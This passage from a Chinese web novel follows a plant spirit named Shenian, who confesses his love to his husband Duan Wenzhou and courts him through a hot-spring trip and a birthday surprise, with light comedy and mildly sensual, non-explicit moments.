瞧着两人的互动,浑身上下散发着排斥他人的屏障,仿佛在冒着粉色泡泡,穆星尴尬极了。 “呃抱歉我不知道,我以为他是你的助理,打扰了我什么都没说。” 一想到自己当着人家正宫的面说了什么,他就脚趾扣地,恨不得钻进地缝里,立刻找借口溜走了。 盯着人堪称落荒而逃的背影,佘念哼了一声,胜利者般骄傲地昂起头。 在去停车场的路上,他想了很多。 他在思考,为什么自己在听见那人邀请段闻洲约会时,会如此气愤。 这种感觉,和之前发现老公的书签是其他的蛇舌草时是一样的,并且因为亲身经历,情绪来得更为汹涌。 这就是所谓的吃醋吗? 一想到老公会跟其他人变得亲密,他就止不住地失落郁闷。 不想段闻洲和别人在一起,不想和他离婚分开,想时刻黏在他身上,想他温柔的眼睛只看向自己。 段闻洲对自己很好,但并不希望这份好也出现在其他人身上。 果然,这种占有欲,这种感情,就是名为喜欢吧? 在吃醋的刺激下,仿佛任督二脉被全部打通,佘念只觉豁然开朗。 曾经的疑虑全部烟消云散,心中的那面玻璃也应声碎裂,所有的感情霎时间冲出,直达大脑。 这份因人而悦动的心,因人而吃醋的心,正是在喜欢的作用下扑通狂跳。 只见佘念忽然站定了脚步,然后猛地回头冲到了段闻洲跟前。 “怎么了?” 眼见小朋友突然快步拦在自己前方,段闻洲不明所以,抬手掐了掐人的脸蛋。 “老公,我刚刚想明白了一件事。” 说着,佘念认真地抬眼望来,眸光中闪烁着诚挚,神色坚定。 “那就是,我喜欢你。” 他一字一句,严肃又郑重地说道。 第84章 喜欢? 刚听见这话时, 段闻洲恍惚了片刻,还以为自己出现了幻听,不过他很快就反应过来, 知道是自己误会了。 此喜欢, 大概非彼喜欢。 按照天真纯洁小朋友的心思, 应当是不理解爱情的,所以他所说的喜欢, 毫无疑问指的应该是字面意思。 是那种泛泛而谈,只要不讨厌就可以囊括的喜欢。 “嗯, 我也喜欢你。” 说着,他抬手揉了揉人的发顶, 眼底闪过一抹晦暗复杂的情愫, 回应道。 “我是认真的!” 察觉到他的敷衍, 并没有将自己说的话当真, 佘念有些着急,又重复了一遍。 “我真的喜欢你!” “我也认真的,我也很喜欢你。” 不对啊, 不该是这种反应, 这个回答听上去就像是不在一个频道。 这下佘念真的急起来了,索性抬手拽住人的衣领向下一拉。 紧接着, 他踮起脚尖, 径直吻了上去。 他想学着人之前的动作,除了止于表面的亲吻外,甚至还试探着伸出舌头, 不得章法地在人嘴唇表面舔舐,但并不知下一步具体该如何进行。 他只是想用行动来证明,自己所说的是真的。 陡然被亲, 段闻洲先是怔愣了片刻,随即反应过来,还以为这是个同平常一样的吻,刚想伸手把人抱住,唇瓣上忽然多了一道柔软湿热的触感。 ——是舌尖在舔舐。 意识到佘念在干什么后,他浑身僵硬,仿佛被定住了一样,手猛地在顿在半空中,一时间竟不知该如何动作。 “你……” 等到人主动后退离开后,段闻洲睁大了眼睛,瞳孔中满是震惊,难以置信。 “我说过,我是认真的。” 而佘念的眼眸中闪着炽热的光亮,亮晶晶的,宛如寻得了心仪清泉的林间小鹿。 “我所说的喜欢,是爱情上的喜欢,或者你也可以理解为我爱你。” “因为我讨厌你和别人亲密无间,我只想和你拥抱亲吻,也不排斥和你上床做唔唔——” 他话还没说完,就被对面的人捂住了嘴。 已经能猜到接下来的话会是怎样的虎狼之词,段闻洲只觉额间青筋突突直跳。 ——在光天化日之下,说如此大胆的内容还是太过超前了。 “那现在你能相信我了吗?” 佘念拉下捂着嘴的大掌,湿漉漉的眼睛眨巴着看来,话语里还流露出几分委屈巴巴。 对于这个问题,现在的段闻洲没法回答。 他的大脑现在格外混乱,觉得眼前的状况远超自己的预期。 本以为小朋友只是说着和平常撒娇一样的话,但没想到这次居然是认真的告白。 按理来说,自己也喜欢佘念,现在佘念也喜欢自己,那两厢情愿,该是皆大欢喜的事。 但段闻洲所考虑到的,并不仅仅只是这一个层面。 他不知道为何佘念会突然认识到喜欢,也不确定人是否真正了解喜欢的含义,就敢这么表白。 这份喜欢,究竟是不是雏鸟情节在作祟? 因为自从婚后,佘念就全身心地依赖着自己,而自己也尽己所能为其提供关心,那么他是否会把这样的依赖之情,误认成喜欢? 再者,两人的年龄差摆在那里,自己马上而立之年,但佘念的青春可以算还没开始,只是因为联姻而和自己绑定在一起,未来或许还会遇到更多能让他心动的同龄人。 相比之下,自己似乎并不应该“误导”他,有的感情,是可以埋在心底的。 或许是近乡情怯,明明自己也喜欢佘念,但当亲耳听见人表白后,却忽然变得胆怯了起来。 年长之人所顾虑的往往更多,段闻洲承认自己胆小也好,自卑也罢,总之他虽然喜欢佘念,但却也担心此时的佘念并非真正的心动,担心贸然答应只会给小朋友带去错误影响。 于是他叹了口气,只是抬手揉了揉人的头顶。 “你还太小,不懂真正的喜欢是什么,不要弄错了自己的感情。” “我确定的,我就是喜欢你,你是不是不相信我?” 敏锐地意识到了人的情绪,虽然没有明确拒绝或者接受,但从这样委婉消极的回答中,佘念觉得段闻洲至少不是讨厌自己的。 那就说明有机会。 于是他拉住人的胳膊,仰头认真地说: “那我来追你好不好?我会用行动告诉你,我是很认真地喜欢你,并且只喜欢你,最喜欢你。” 如果,小朋友能坚持三个月的话,是不是就能说明他不是三分钟热度,是否就能证明他不会为自己的选择后悔? 这样的话,是否自己也能相信他,从而迈出最后的一步呢? “好,那你追。” 攥紧的拳复而松开,段闻洲用轻得近乎不可闻的声音应道。 ———— 对于许下的追人承诺,佘念并不只是停留在口头上,而是立刻付诸于实践。 “早安老公,我准备了早餐哦。” 当清晨段闻洲睁开眼时,佘念就如同等候主人醒来多时的小狗一样,眼巴巴趴在床边,将下巴搁在边沿上。 一见人醒来,他身后不存在的尾巴就摇得飞起,仿佛螺旋桨。 “早。” 真让人意外,之前爱赖床的小朋友今天居然起这么早,还破天荒地准备了早餐,感到意外的段闻洲起床洗漱,想要看看他做了什么。 此时客厅的餐桌上已经摆放好了吃食,有豆浆虾饺小笼包之类的,典型的中式早餐。 “这些是我出门买的,排了半小时队呢。” 因为不会做饭,所以佘念特意早起去了附近一家很有名的茶楼。 见人拉开椅子坐下后,佘念立刻殷勤地给人摆好碗筷,把他爱吃的放在人跟前,然后乖巧地趴在桌边,期待地等着人的评价。 不过当段闻洲夹起其中一个小笼包打量一番后,隐约觉得有点不太对劲。 他正想开口询问,却被佘念抬手捂住了嘴,一脸严肃地道: “老公。” “我帮你买早餐,你只需要对我道谢,或者夸我贴心,而不是问这包子怎么少了个褶。” 段闻洲:…… 看着眼前“残缺”的包子,他沉默了。 算了,无伤大雅。 让我们说,谢谢,谢谢小蛇舌草的包子。 ———— “那我先出门了,你自己在家待着,有事就打电话联系我。” 准备去公司时,段闻洲还是一如既往地叮嘱着人。 “嗯嗯。” 而佘念用力地点头表示知道了,紧接着忽然想起某件事来,连忙让人稍等片刻,跑进房间里取了样东西。 “这个,送给你。” 一边说,他一边往人的公文包上别着什么。 段闻洲定睛一看,才发现他给自己系上的是一个毛绒玩偶挂件。 并且很明显,这个挂件是成对的,给自己的这只是其中之一。 “你一个,我一个,这是送你的礼物。” 系好以后,佘念满意地拍了拍人的公文包,不忘拿出属于自己的那个挂件,在人眼前晃了晃。 ——情侣挂件,一人一半,收了我的挂件那可就代表我在追你,不许让其他人再靠近你了嗷。 虽然说之前也送过人不少东西,但是作为告白后的第一份情侣饰品,这对挂件的含义远远不同。 “谢谢。” 低头看了看玩偶,虽然说和严肃的皮革公文包格格不入,但段闻洲完全没有将其取下的意思,甚至还大摇大摆地带出了门,带进了公司。 “等一下老公,还有一件事——” 就在他即将上电梯时,佘念忽然又掉头小跑过来,拽住人的衣摆,然后踮起脚尖,仰头在他的脸颊处轻吻一口。 “今天也在喜欢你的!晚上见哦。” 亲完人后,他便自觉退开,乖巧地对人挥手道别。 直到电梯门合上,小朋友的身影彻底在视线范围内消失,那一触即分的柔软触感似乎都还未完全消散。 自从那天说了要追人后,佘念就不断对人展开攻势。 包括但不限于每天都要对人表白说一句喜欢,经常性地给人送各种礼物,还有亲亲抱抱贴贴的频率也明显增加。 虽然都是些很简单的追人做法,毫无心机可言,但段闻洲同样也乐在其中,享受着小朋友的主动。 而在这些举措之中,佘念也愈发意识到了自己的感情。 他可以肯定,自己是真的喜欢段闻洲。 这些事情,他不会有耐心对其他任何人做,但唯独段闻洲是例外。 所以他会一直追下去,直到老公接受自己表白的那天为止。 ———— 这天下午,祁宁给两人来了个电话。 “明天有时间吗,祁宁邀请我们去北区新开的一家温泉酒店。” 挂断电话后,段闻洲看向佘念问道。 温泉酒店?是去旅行吗? 得到肯定的答复后,佘念眼睛一亮,忙不迭地点头答应: “我想去!” 刚好这两天的拍摄行程都已经跑完,有几天的休息日,段闻洲也专门空出了时间,约定好在后天出发。 除了祁宁外,陆远修和贺扬也在。 这处温泉酒店是日式的,竹林密布,石子铺成小路,颇有几分曲径通幽的意味。 光脚踩在木质地板上,不仅不冰凉,还能感到几分暖意。 酒店内的温泉分为私汤和公共汤池,并且每个榻榻米房间里也自带一个小温泉,隐私性很好。 在房间安排上,自然是让小两口住在一起的,其他三人住在隔壁的另一个大房间。 “嘿老段,你们收拾好了没有,我给你们送点水果来。 祁宁推开房间的门,探头探脑,在得到示意后才走进来。 他环顾四周,没看见佘念的身影,好奇地询问: “小佘念跑哪去了?” 而段闻洲指了指屏风后。 “在换跑温泉的衣服吗?” 就在祁宁准备迈步走进时,却忽然听见屏风后面传出佘念的声音: “老公,我好痒,你快进来——” 痒?进来? 这是我不花钱就能听的内容吗? 闻言,祁宁脚步一顿,笑意僵住,满脸愕然地扭头看来,脸上写满震惊: 光天化日,朗朗乾坤,你们小两口就敢玩这么花?? 第85章 “老公, 我好痒,你快进来——” 这句让人浮想联翩的话一出,整个房间内瞬间陷入诡异的沉默。 祁宁欲言又止, 欲语还休, 脸上的表情精彩纷呈, 最终只是默默偏头看了段闻洲一眼,目光中满是谴责与艳羡之情。 你小子, 背着兄弟过这么滋润。 你小子,没看出来表面一本正经, 背地里玩得还挺花。 由于他目光里的心思太好懂,以至于段闻洲一眼就看出来他想歪了。 虽然说吧, 这句话确实很容易让人想歪。 但是, 他自己才知道, 绝对不可能是那方面的意思。 “你听我解释。” 段闻洲无奈扶额, 头疼极了。 “不必解释了兄弟,懂的都懂,我们不会破坏你们二人世界的。” 说完这句话, 祁宁就放下了手中的果盘, 拍了拍胸脯表示明白,然后立刻溜之大吉。 速度之快, 堪比百米冲刺, 美其名曰不当电灯泡。 段闻洲:…… 用脚趾头想,都能猜到他回房间以后要对外散播怎样的谣言。 好笑地叹了一口气,段闻洲转头, 隔着屏风向后方的人问道: “佘念,怎么了?” 这处房间是榻榻米的布局,一道大屏风把床隔开, 佘念本来只是在后方换衣服准备泡温泉,不知道发生了什么,才会说出如此惊世骇俗之句。 “老公,你进来看看嘛。” 小朋友的语气里带上了几分委屈。 闻言,段闻洲深呼吸一口气,做好心理准备,从屏风处探头看了看。 见人出现,佘念扁嘴,指了指自己的大腿内侧。 只见白皙的肌肤上,赫然多了一大片抓挠的红色痕迹,以及一个显眼的小鼓包。 “老公,我这里好痒啊。” 他可怜兮兮地求助道。 原来痒的是这里。 原来是被蚊子咬了不知道该怎么办,所以才让自己进去,进去帮忙。 虽然说表达的意思完全吻合,但这话讲出口来,莫名就容易让人误解。 弄明白了来龙去脉,段闻洲不由得哑然失笑。 于是他用内线呼叫前台,拜托服务员送上来一瓶花露水。 被蚊子咬过的地方一抹上花露水,立刻止住了痒。 等他弄完这一切后,才发现三分钟前手机上收到了祁宁的两条微信: 【祁宁:哥们,我们三先去泡温泉了,你俩泡泡私汤过好二人世界哈。】 【祁宁:还有注意身体,节制一下哈。】 节制? 低头看了看手中的花露水,又看了看旁边一脸无辜的佘念,段闻洲忽然有一种八十岁留守老人挑了水发现浇的都是别人家地的无力感。 百口莫辩。 “老公,我们什么时候去泡温泉?” 偏偏当事人还完全不知道发生了什么,期待地眨了眨圆溜溜的眼睛。 “现在。” 说着,段闻洲深吸一口气,然后拉上小朋友去了房间里的私汤。 推开落地门,私汤就在房间后面,鹅卵石堆砌了汤池,营造出一种原生态自然风格。 完全不在意去哪个池子泡,或者说只和段闻洲两人一起,佘念反而更自在。 对冒着热气的水池格外感兴趣,他走到温泉左边瞧了瞧,又走到右边蹲下身,好奇且小心地用手指碰了碰水面。 嘶,好像有点烫。 直接进去不会泡熟吗? 不过听说温泉都是很有营养的,长在附近的花草很容易修炼,然后得道飞升。 那自己下水里的话,是会先变熟呢,还是会先修为提升呢? 大概是看出人脸上的犹豫,段闻洲率先脱下身上的浴袍,先一步进了温泉。 “老公,烫吗?” 看着人面不改色的样子,佘念缓慢地眨了一下眼,问道。 蒸腾的水汽从温泉表面浮起,营造出一种烟雾缭绕的朦胧感,宛如处于仙境,健壮的身躯在其中若隐若现。 面对这幅景象,佘念张开的嘴巴都忘了闭上,维持着小小的O型,目光牢牢地黏在了人的身上,连眼睛都不眨了。 段闻洲的身材,是典型的穿衣显瘦脱衣有肉,锻炼得当的身体肌肉格外壮硕,线条流畅优美,宽肩窄腰,倒三角的完美身材上,分布着饱满的胸肌和块块分明的腹肌。 只是略一用力,附着在表面的青筋便根根凸起,散发十足的男性荷尔蒙气息。 没出息地,佘念吞咽了一下口水,紧接着,一股温热的触感缓缓从他的鼻腔里流出。 “温度还好,你要下来吗——” 水中的段闻洲转过身,话还没说完,在看见人的鼻子后一愣,话头硬生生截断。 好端端的,小朋友怎么突然流鼻血了? “你……” 他怔怔地道,刚想伸出手替人擦一擦,这时佘念才如梦初醒,意识到了鼻子和人中处流下的血。 天呐,自己居然看老公的身材看得流鼻血了? 这也太丢人了叭! 他连忙站起身来,捂着鼻子,用最快的速度向房间内跑去。 因为跑得太急,还有一只拖鞋落在了温泉池边。 乍一看还以为是灰姑娘遗落的水晶鞋。 只不过灰姑娘是因为看王子的身材,入迷得流鼻血了才逃走的。 等佘念重新出现时,鼻血已经被擦干净,鼻子里塞着两团纸,心虚地探出头来。 “还好吗?” 瞧见他这幅样子,“罪魁祸首”又心疼又好笑。 闻言,佘念尴尬地轻咳一声,没有回答,而是假装无事发生,光着一只脚从门后走出。 在路过池边时,还故作镇定,伸脚重新穿上了掉在地上的拖鞋。 这也太可爱了。 段闻洲止不住低笑一声。 刚刚佘念算是想明白了,这可是自己的老公,别说看了,摸一摸他的肌肉可都不为过。 而自己居然看一眼就流要鼻血,没出息! 等会要上手摸才行! 这么想着,他也脱掉衣服下了温泉。 水温稍微有一点点烫,但是适应了以后就还好,感觉身体暖洋洋的。 走到段闻洲的身边,小蛇舌草双手叉腰,扬起下巴对人宣布道: “我要摸一摸你的肌肉。” 那架势,与恶霸沾不上边,只能说奶凶奶凶的,毫无威慑力。 “请便。” 闻言,段闻洲挑了挑眉,然后张开双手,一副束手就擒,随君处置的样子。 哼哼,那我可就不客气了,我摸我自己的老公怎么了! 我摸摸我摸摸——。 一边摸,佘念还不忘一边强调: “只能给我摸,不许给别人摸哦。” 追你的人是我,所以只能让我摸,不可以让别人也这样。 “嗯,只给你摸。” 段闻洲眉眼含笑,宠溺地轻声应道。 不得不说,泡温泉真的很舒服,而且感觉好像整个人的修炼也有帮助,佘念觉得自己的法力好像有了微量提升。 刚才还担心水温太热的某人,此时已经泡得半张脸浸在水下,正眯着眼咕噜噜吐泡泡。 他倒是泡得舒服了,这下别扭的人轮到段闻洲了。 虽然有水雾的遮掩,但归根到底水面还是清澈的,只要定睛一看,就能将水下的画面看得一清二楚。 包括但不限于雪白笔直的大腿,平坦柔软的小腹。 还有两点殷红的梅花。 段闻洲莫名觉得水温好像上升了几分,蒸得他脸颊泛红,嗓子也有些哑。 于是他咳了咳,转身想去拿边沿摆放的清酒喝。 听见身旁人的动静,水面浮起的泡泡停下来了,佘念睁开眼看来。 “你喝的是什么?” 就像是听到主人拆开零食包装袋的声音,便立刻刷新的小狗一样,他游到了人身边,好奇地打量着那个小瓷碗。 “是小朋友不能喝的酒。” 见状,段闻洲微不可察地向身旁避了避,暗暗地保持安全距离。 “让我尝一口好不好,就一口。” 偏偏对人避开的动作全然不觉,佘念又粗神经地黏了上来,扒在人结实的胳膊上,竖起一根手指,撒娇般地央求,想尝一尝这甜甜的酒。 这距离,比起刚才还要危险。 赤.裸的肌肤就这么相贴,夹杂着热水和汗珠的黏.腻,光滑又柔软的皮肤压在手臂表面,甚至随着人说话的动作,起伏的胸膛也偶尔会擦到胳膊的侧面。 距离擦枪走火,仅有一步之遥。 段闻洲只觉无名火起,下腹一热,压抑多时的欲望险些冲破束缚。 已经没心思去拦下佘念想喝酒的动作,他几乎自顾不暇,慌乱地将瓷碗递到人手中,便捂着脸又退远几分。 咦,这么容易吗? 看着手中的清酒,佘念有些意外,没想到如此轻易地就被准许了。 甚至完全没察觉到段闻洲的异样,他直接抿了一口。 甜!好喝! 他正想偏头跟人分享时,才发现老公怎么跑到对角线的位置去了? “老公,你离我那么远干嘛?” 看着又游到自己身边的小朋友,段闻洲只觉额间隐隐作痛。 有时候,性子太单纯也有点折磨人。 “没什么。” 再凑近点,就真的要出事了,于是段闻洲迅速站起身来,逃也似的披上浴袍。 “我……我突然想起有点事,你先自己泡一会。” 他步履匆匆,离开的背影明显带着慌张。 嗯?这就走了吗?发生了什么? 瞧着人的背影,佘念歪了歪脑袋。 因为喝了清酒,再加上已经在温泉里待了有一段时间,他开始觉得大脑昏昏沉沉的,便靠在岸边闭眼小憩。 或许是放松得太过,得到滋养的法力不受控起来,悄然从体内泄出。 紧接着,只见有一小撮白花,嘭地从头顶冒出,摇摇晃晃地立在上方。 而当事人却浑然不觉。 ———— 好不容易压下了身体的躁动,段闻洲抚了抚胸口,然后才装作若无其事的样子回到温泉旁边。 他正想提醒佘念别泡太久,当心晕过去,却余光一瞥,看见了奇怪的东西。 是自己眼花了吗,为什么佘念的头顶有一朵小花? 而且还插得那么严实,都不带掉下去的,不知道的还以为是从脑袋上长出来的。 第86章 只见佘念整个人仿佛融化的慕斯一样, 软趴趴地将下巴搭在岸边,眯眼小憩着,而他头顶的白花则随着烟雾的蒸腾正晃啊晃。 见状, 段闻洲揉了揉眼睛, 却发现那朵花不是自己的幻觉。 “老公, 你回来啦?” 听见动静,佘念木木地睁开眼, 对人露出一个有点傻乎乎的笑来。 “你从哪弄来一朵花插头上?” 说着,段闻洲好笑地上前, 蹲下身用手碰了碰那朵白色的花。 他分辨不出白花的品种,黄色的花蕊, 扇叶一样的白色花瓣, 乍一看有点像小雏菊, 但偏小几分, 只有指甲盖那么点大,是小巧可爱的类型。 花?什么花? 被问到的佘念一脸茫然,缓慢地眨了一下眼睛。 随着视线慢慢聚焦, 眼前的景物变得清晰起来, 他的意识回笼,这才反应过来所说的白花有可能是什么。 ——是自己的本体。 在人型状态下, 当妖精的身体处于极度痛苦或极度愉悦的情况下, 是有几率开花的,一般花朵都会从头顶冒出。 意识到这点,佘念心下一惊, 冷不丁吓出一身冷汗,开始迅速思考该如何解释。 而这时段闻洲也隐约发现了不对劲。 怎么这朵花,好像真的扎根在人脑袋上了一样?稍稍用力都扯不下来。 就在他想再碰一碰时, 佘念连忙先下手为强,一把将自己头顶的花给拽了下来。 “嘿嘿,这是我刚刚在外面摘下来的。” 他撒谎道。 私汤旁边确实有一处小花园,里面种满了各种各样的花花草草,可能是刚刚自己离开的那会,小朋友自己过去采了一朵插在脑袋上? 因为插得太牢,所以才没被拽下来。 这样的设想很合理,被说服了的段闻洲便也没再细究。 “喏,老公,送给你。” 紧接着,佘念嘿嘿一笑,略带心虚地把自己的花递来。 “谢谢,花很好看。” 不愿辜负小朋友的好意,段闻洲笑着接过,还拿在手中仔细打量了一番。 嘿嘿,他说我的花好看诶。 夸花好看那就也是夸我好看,开心—— 脸上的笑愈发傻乎乎,配合着人粉扑扑的小脸蛋,看上去更显纯良无害了。 被这幅样子可爱到,段闻洲刚想说话,忽然留意到人的脸颊,猛地反应过来某件事。 小朋友脸这么红,该不会泡晕了吧? 算起来,好像时间确实很久了。 “佘念,该出来了,温泉不能泡太久的。” 他提醒人道。 “好。” 其实此时的佘念脑袋已经完全晕乎了,说什么就是什么,乖乖地站起身来。 只不过,他刚站起来还不到一秒钟,就眼前发黑,重心不稳栽了下去,在平静的水面上掀起一阵巨大的波澜。 “佘念——” 这架势,肯定是泡晕了,见状段闻洲心下一惊,立刻将人从温泉里打横抱出,放在一旁的椅子上散热降温。 这时的其实佘念还有意识,但是已经累到一根手指都抬不起来,被捞起来后宛如一个布娃娃,一动也不动,乖乖地任由人给自己擦着身体。 由于小朋友身上还是湿漉漉的,段闻洲还得帮人换上干爽的睡衣才行。 湿哒哒的泳裤被脱.下,佘念本就露肤度极高的打扮变成了一.丝.不挂,整个身躯完全陈列在躺椅上。 仿佛一盘珍馐美馔,邀请着他人来采撷品尝。 牛奶一样的肌肤白得晃眼,在温泉高温的蒸腾下,又流露出几抹诱人的粉红,晕染在脸颊上和关节处,白里透红的,格外诱人。 忽然间,段闻洲觉得嗓子有些干哑,下意识咽了咽口水。 偏偏佘念还全然不知,大概是真的太热了,他甚至翻了个身,由侧躺的姿势变成了仰躺。 这下算是彻底暴露在视线范围内了,毫无保留的那种。 喉结滚动,段闻洲张了张嘴,本想让人注意一下姿势,但最终什么话也没说。 只有脸颊的温度在急剧升高。 “老公……你脸也好红,你也泡晕了吗?” 余光瞥见人脸上的潮红,佘念强打起精神,艰声关心着人。 “……没有。” 被完全误会的段闻洲尴尬地咳了咳,然后偏过头,半闭眼地替他换上了睡衣。 过程实在是太煎熬,可以说是度秒如年,等到结束后,段闻洲已是满头大汗。 又被人抱到床上,躺着歇了好半天,佘念才终于缓过劲来。 “我还以为我要死了。” 他委屈地嘟囔着,翻了个身面对向人。 “抱歉,是我的问题,我应该开窗透气的。” 而段闻洲来到床边坐下,温柔地替人捋了捋凌乱的鬓发。 “还有哪里不舒服吗?” “没有了,就是有一点困。” 闻言,段闻洲了然,随即掀开被子上了床。 他一对人张开怀抱,即使没有言语,但对面的小朋友立刻明白了意思,咕涌咕涌地挪到了他的怀中。 “唔差点忘了!” 昏昏欲睡的佘念眼睛都要闭上了,忽然间想起一件事来,又努力抬起了沉重的眼皮。 “今天还没说喜欢你呢,老公,我还是很喜欢你哦。” 说完这句话后,困意再次袭来,他招架不住,话音刚落下就闭上眼睡了。 闭上了眼,他还不忘小声嘟囔: “晚安哦老公。” “……嗯,晚安。” 听见人黏糊的表白和晚安,感受到怀中人均匀的呼吸声,段闻洲眉眼柔和不少,歪了歪唇角,轻声回应道。 ———— 第二天,所有人都睡了个懒觉,直到午饭后才碰头。 “老段,看你这容光焕发的样子,昨晚过得很滋润吧?” 祁宁笑嘻嘻地凑上前,搭在人的肩膀上调侃道。 听出他话里的不正经,段闻洲给了他一计肘击,说道: “昨晚上佘念泡太久,在温泉里晕过去了。” 话语刚落,远处贺扬和陆远修的脑袋也齐刷刷地扭头看来,三人震惊地道: “佘念昨晚晕过去了?” “你把佘念弄晕了?” “你俩是在水里的?” 段闻洲:…… 论谣言是怎样产生的。 这家温泉酒店娱乐功能很齐全,除了温泉外,楼顶还有台球室、KTV包厢等各种娱乐区域。 几人来到了台球室,头一次接触这项运动的佘念四处张望,很是新鲜。 “小佘念,你会打台球吗,要不要我教你?” 祁宁拿过球杆,随口问道。 闻言,佘念刚想开口应下,段闻洲却忽然上前一步,将取来的球杆放到人手中,主动揽过这项工作: “我来教他就好。” 见状,祁宁挑了挑眉,立刻反应过来: 毕竟教人打台球这件事,不可避免地会有肢体接触,老段肯定是吃醋,所以才准备亲自来教人。 “腰稍微塌一点,眼睛目视前方。” 只见台球桌边,佘念已经趴在桌子上学了起来,而段闻洲则压在人身上,握住人的手,引导他如何用正确的姿势开球。 两人的距离靠得极近,近得佘念几乎能感受到身后人的体温,以及衣物下结实的肌肉。 身上人说话间的热气扑在耳廓和脖颈处,仿佛有蚂蚁在爬一样,叫人心痒难耐。 换做之前,佘念对这样的动作是很迟钝的,并不能体会到其中的暧昧,直到他开窍意识到了自己的情感后,才渐渐地明白过来这样亲昵举动所代表的含义。 “……就这样,听明白了吗?” 耳畔边再次传来人低沉温柔的嗓音。 “明白了。” 佘念红着脸,硬着头皮答道。 ——虽然实际上他完全没听进去,大脑完全沉浸在胡思乱想中了。 “好,那就保持这个姿势发力。” 闻言,佘念茫然地推动球杆,打出第一杆。 只见白球猛地弹射前冲,伴随着哒、哒两声清脆的响声,球跃下了桌面,咕噜噜滚落到地上。 而桌面上的其他球,纹丝不动。 佘念:…… 在场的其他人:…… “哈哈,其实,新手第一杆打成这样已经很不错了,你们说对不对?” 听见祁宁这话,贺扬和陆远修默默点头,出声附和。 佘念:……其实也不用这样捧场的,自己还是知道几斤几两的。 过了一个小时,祁宁不知从哪拿来一个大蛋糕放在包厢的桌子上,招呼大家过来,还特意让段闻洲站在最中间。 “来来老段,你个寿星要站c位。” 还不忘把送的纸质皇冠盖在人头上。 嗯等等,寿星? 闻言,方才还沉浸在有蛋糕吃好开心的佘念猛地抬头,视线在生日蛋糕和段闻洲之间来回扫了扫。 今天是老公的生日吗?怎么没人告诉我? “小佘念,你给老段准备了什么礼物吗……等等你这个表情,你是不是不知道今天是他的生日?” 被直戳痛处,佘念不好意思地垂下头来。 “是我故意没告诉他的。” 见状,段闻洲将人拦进怀中,主动承认。 原来,因为四人都不喜欢办所谓的生日宴会,所以从小时候开始,他们都会选择在生日的那几天相约外出短途旅游,这样既能共同庆祝生日,也能避开应酬。 这次温泉之旅,则是为了庆祝段闻洲的生日。 而段闻洲之所以不告诉佘念,就是怕他费心思准备,想让他把这当成一次普通的游玩就好。 听出他话里的意思,几人便连忙绕开这一话题,不再追问: “来来来,点蜡烛许愿,然后分蛋糕了啊。” 怎么办,不可能老公的生日一定表示都没有吧,那也太过分了…… 忽然间,佘念灵光一闪,想到了办法。 “老公,等我一下,我有礼物的!” 他睁着亮晶晶的眼睛,其中闪烁着光芒,抓着段闻洲的手说道。 紧接着,他出了台球室,拔腿就向着房间的方向跑去。 钻到屏风后面,佘念两只手点在太阳穴上,集中精力施展法力。 ——虽然说暂时没办法准备很精致的礼物,但可以临时先变一个礼物出来,日后再弥补一下。 只见他的脑袋上,嘭地一下,冒出了一朵小白花。 和那天在温泉被段闻洲撞见的花一模一样。 第87章 像是变魔术一样, 只见白花蛇舌草的幼苗嘭嘭嘭地,不停从佘念的头上冒出。 其中既有白色的花,也有绿色的草。 花草不停生长蔓延, 很快头顶就接纳不住, 向下垂去挂在脑袋两侧。 乍一看, 有点像某个动画里脑袋长草的羊村长。 估摸着这么多花数量应该够了后,佘念才停下施法, 然后伸手把脑袋上的花草全部拔了下来。 又拜托前台送来一张彩色卡纸,他笨拙地模仿着记忆里花束的样子, 将自产自销的蛇舌草给包扎成一束花。 经过快速的奋斗,一束独特的白花蛇舌草花束形成。 细长的绿叶簇拥着白色的小花, 仿佛零星点点的银河碎片散落在叶片间, 色调和谐。 虽然做工和技巧都有精进的空间, 比起市面上常见的玫瑰等鲜花大不相同, 但看上去也是别有风味。 做完这一切后,佘念便立刻捧着这一小束花,快步跑回台球室。 ——这便是他想到的办法, 先送给段闻洲自己产的和亲手包的花, 不然生日时一点表示都没有也太过分了。 毕竟老公平常对自己可好了,总不能就这么空手祝人生日快乐。 “老公, 生日快乐!” 风风火火冲到人身边, 佘念猛地献上花,大喊一声。 这音量,未见其人先闻其声, 惊得在场的几人都顿了顿,下意识循声看来。 这么大架势,不知道的, 还以为他在求婚表白呢。 “谢谢。” 接过那束花,段闻洲有些讶异,他没想到小朋友真的给自己准备礼物去了。 仔细一看,便能发现这花很特别,用的不是市面上任何一种常见的鲜花种类。 他忽然想起,这好像就是昨天泡温泉时,佘念插在脑袋上的花。 虽然不知道花叫什么名字,但小小的,白白的,倒也很好看很可爱。 这花应该是从后花园里摘的,想必刚刚佘念跑开,就是去那里采花了吧? 脑海里自动浮现出小朋友蹲在地上,一朵一朵摘花的样子,段闻洲嘴角情不自禁扬起弧度。 “花很好看,我很喜欢。” 说着,他抬手,弯了弯眼睛,温柔地摸了摸人的脑袋。 他夸我的花好看诶!嘿嘿。 虽然对于植物来说,这样的夸赞好像有点诡异,对标起来就像是人类在夸别人某隐私部位好看一样。 但是没关系,人类的观念和植物不一样,重要的是老公夸自己好看! 有品位,不愧是我小蛇舌草喜欢的人! 想到这,佘念骄傲叉腰,昂起下巴,仿佛一只得意的小猫咪。 “这个是蛇舌草吧?在花园里摘的吗?” 学医的陆远修凑近看了看,一下子就分辨出来了这是什么品种。 “嗯…是啊。” 被认出的佘念没来由地有些心虚,缩了缩脖子,小声地应道。 “那不是可以拿回去以后泡水喝,做崂山圣水?” 闻言,祁宁开玩笑道。 泡、泡水?! 天呐人类的口味这么独特的吗,还爱拿蛇舌草泡水喝?看来自己一定要隐藏好身份,不能被发现才行。 被发现的蛇舌草是要被抓去做崂山圣水的。 想象了一下那个画面,佘念害怕极了,悄悄地往段闻洲的怀里钻了钻。 感受到人的靠近,段闻洲则主动抬手揽住了他的肩膀,亲昵无比。 看着两人间恩爱的互动,好像自动形成了一道隔绝其他人的屏障,整个世界里只剩下彼此,对外散发出大量的粉红泡泡,旁边被击中的三人莫名觉得牙疼起来。 怎么这甜口的蛋糕还没吃,就觉得腻味起来了呢? 单身狗受到了一亿点暴击。 “行了行了你俩别腻歪了,该切蛋糕了。” 看不下去的祁宁挥着盘子,佯装生气地隔开了深情对望的两人。 一听到能吃蛋糕了,佘念仿佛接到了信号的卫星一样,溜圆的大眼睛闪了闪,猛地扭头看来。 刚刚眼里对老公的欣赏,瞬间替换成了对蛋糕的期待。 还真是个馋嘴的小朋友。 察觉到人的变化,段闻洲哑然失笑。 切蛋糕前,首先要寿星先吹蜡烛许愿。 蜡烛被吹灭后,佘念眨巴着眼睛,好奇地问道: “老公,你许了什么愿?” 